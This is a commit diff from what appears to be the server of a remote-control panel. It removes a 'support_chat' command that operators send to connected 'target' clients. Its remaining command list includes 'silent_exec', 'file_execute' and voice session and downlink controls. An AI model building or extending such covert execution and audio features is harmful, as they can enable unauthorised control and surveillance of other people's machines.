remove old bs code, start getting ready for freebsd and openbsd support

This commit is contained in:
KingKDot
2026-03-09 00:46:29 -05:00
parent 768b93f02a
commit 38a330f305
8 changed files with 93 additions and 198 deletions
-1
View File
@@ -71,7 +71,6 @@ export type CommandType =
| "file_chmod"
| "file_execute"
| "silent_exec"
| "support_chat"
| "voice_session_start"
| "voice_session_stop"
| "voice_downlink"
@@ -385,56 +385,6 @@ export async function handleClientRoutes(
} catch (error: any) {
return Response.json({ ok: false, error: error.message }, { status: 500 });
}
} else if (action === "support_chat") {
const message = typeof body?.message === "string" ? body.message.trim() : "";
const requireReply = body?.requireReply !== false;
const operator = typeof user?.username === "string" ? user.username.trim() : "";
if (!message) {
return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
}
if (message.length > 1200) {
return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
}
const cmdId = uuidv4();
const waitTimeoutMs = 4 * 60 * 1000;
let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
if (requireReply) {
replyPromise = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Support chat reply timed out"));
}, waitTimeoutMs);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
});
}
target.ws.send(
encodeMessage({
type: "command",
commandType: "support_chat",
id: cmdId,
payload: {
message,
requireReply,
operator,
},
}),
);
metrics.recordCommand("support_chat");
if (!replyPromise) {
return Response.json({ ok: true });
}
try {
const reply = await replyPromise;
return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
}
} else if (action === "voice_capabilities") {
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {